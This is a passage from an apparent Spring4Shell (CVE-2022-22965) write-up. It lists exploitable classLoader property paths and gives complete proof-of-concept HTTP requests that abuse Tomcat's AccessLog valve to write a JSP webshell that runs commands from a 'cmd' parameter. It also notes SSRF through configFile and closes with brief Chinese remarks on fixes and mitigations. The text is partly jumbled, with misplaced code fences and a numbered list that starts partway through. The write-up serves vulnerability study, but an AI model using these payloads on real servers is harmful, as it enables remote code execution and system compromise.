class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
class.module.classLoader.resources.context.parent.pipeline.first.container
class.module.classLoader.resources.context.parent.pipeline.first.directory
class.module.classLoader.resources.context.parent.pipeline.first.domain
class.module.classLoader.resources.context.parent.pipeline.first.enabled
class.module.classLoader.resources.context.parent.pipeline.first.encoding
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
class.module.classLoader.resources.context.parent.pipeline.first.locale
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.pattern
class.module.classLoader.resources.context.parent.pipeline.first.prefix
class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.first.rotatable
class.module.classLoader.resources.context.parent.pipeline.first.suffix
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.engine.service.server.address
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
class.module.classLoader.resources.context.manager.engine.service.server.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.port
class.module.classLoader.resources.context.manager.engine.service.server.shutdown
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.next.container
class.module.classLoader.resources.context.parent.pipeline.first.next.domain
class.module.classLoader.resources.context.parent.pipeline.first.next.next
class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
class.module.classLoader.resources.context.manager.engine.service.server.port
Using the class.module.classLoader.resources.context.parent.pipeline, you can set the attributes of AccessLog, and then use the log writing functionality to write a webshell. The POC is as follows: ```text GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E
Alternatively, use the request header to pass the value of the pattern:
* Tomcat access log pattern: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html```
GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
Host: 127.0.0.1:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
You can also exploit SSRF using class.module.classLoader.resources.context.configFile.
Other exploitable attributes need further examination of the role of each attribute.
Note that modifying the above attributes may cause the service to restart, so it doesn't matter if you are testing on your own, but never directly use these PoCs in a production environment unless you clearly understand and can bear the consequences of their exploitation!!
In the new version's fix, there are mainly two points to prevent variable overwriting:
但是这种黑名单的方式可能存在被绕过的可能;临时使用ok,但不是长久之计;
2. 在CachedIntrospectionResults中,获取beaninfo的时候增加了判断,变成了仅允许Class类的name 变量:
**其他规避措施:**
1. tomcat的新版本中也做了漏洞规避,刚开始使用tomcat 8.5.78版本,结果无法浮现,通过调试发现使用class.module.classLoader.resources时在该tomcat的版本下获取的resources是空的，从而导致无法利用,所以升级tomcat版本也可以规避该漏洞;
2. jdk9以下不受该漏洞影响。